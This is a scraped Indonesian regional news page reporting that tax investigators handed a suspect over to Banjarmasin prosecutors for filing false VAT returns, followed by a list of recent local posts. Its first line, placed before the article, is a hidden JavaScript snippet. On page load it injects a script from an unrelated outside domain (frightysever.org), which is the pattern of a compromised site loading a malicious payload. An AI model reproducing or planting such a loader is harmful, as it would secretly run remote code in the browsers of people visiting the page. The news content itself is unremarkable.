(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Bohong Saat Sampaikan SPT Pajak, KS Diserahkan ke Kejari Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Penyidik Kantor Wilayah Dirjen Pajak (DJP) Kalimantan Selatan dan Tengah (Kalselteng) menyerahkan seorang tersangka kepada Kejaksaan Negeri (Kejari) Banjarmasin terkait tindak pidana di bidang perpajakan.

Tersangka KS diserahkan beserta harta kekayaannya yang bekas perkaranya telah dinyatakan lengkap (P-21) oleh JPU dari Kejaksaan Tinggi Kalsel pada tanggal 16 Desember 2022 lalu.

Disampaikan Kepala Bidang Pemeriksaan, Penagih, Intelijen dan Penyidikan Kanwil DJP Kalseteng Budi Susila, pengungkapan kasus tersebut merupakan hasil dari kerjasama DJP Kalselteng dengan Kejaksaan.

 

 

 

Baca juga: Sidang Korupsi Proyek Terminal KM 6, Terdakwa Firman Minta jadi Tahanan Kota

Terdakwa KS melalui CV AWN diduga telah melakukan tindak pidana di bidang perpajakan dengan sengaja menyampaikan Surat Pemberitahuan Masa PPN (SPT Masa PPN) yang isinya tidak benar atau tidak lengkap.

Tersangka juga tidak menyetorkan pajak yang telah dipotong atau dipungut dengan cara, pertama, tidak seluruhnya melaporkan omset pada SPT Masa PPN CV AWN masa Januari 2018 sampai dengan Desember 2018.

Kedua, melaporkan SPT Masa PPN secara rutin dengan status nihil dan lebih bayar kompensasi agar terhindar dari sanksi denda terlambat pelaporan, dan bertujuan untuk menunda pembayaran pajak PPN yang seharusnya dibayar ke Kas Negara.

Atas perbuatan tersangaka tersebut diperkirakan menimbulkan kerugian negara dari sektor perpajakan sebesar Rp 372,8 juta.

“Peristiwa ini hendaknya menjadi perhatian dan peringatan kepada para wajib pajak agar menjalankan pemenuhan kewajiban perpajakan dengan menghitung, menyetor, dan melaporkan pajak yang terutang dengan benar, lengkap, dan jelas,” kata Budi Susila, Rabu (1/2/2023).

Baca juga : DPRD Kapuas Kunker ke DPRD Tangsel

Perbuatan tersangka melanggar Pasal 39 ayat (1) huruf d dan huruf i Undang-Undang Nomor 6 Tahun 1983 tentang Ketentuan Umum dan Tata Cara Perpajakan sebagaimana beberapa kali diubah terakhir dengan UU Nomor 7 Tahun 2021 tentang Harmonis Peraturan Perpajakan Jo Pasal 64 ayat (1) KUHP.

Dirinya juga berharap dengan adanya penegakan hukum yang tegas dalam kasus ini dapat menjadikan efek jera bagi wajib pajak sehingga tidak terulang kembali.

Seluruh wajib pajak diingatkan untuk tidak mudah tergiur dengan tawaran penggunaan faktur pajak dari pihak yang tidak bertanggung jawab untuk mengurangi pajak yang seharusnya dibayar.

“Sehingga kejadian serupa tidak terulang lagi dan kontribusi wajib pajak dapat ditingkatkan guna menunjang kemandirian pembiayaan pembangunan nasional menuju Indonesia maju,” tutup Kabid PPIP Kanwil DJP Kalselteng, Budi Susila. (Kanalkalimantan.com/rizki)

Reporter: rizki
Edito: cell


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.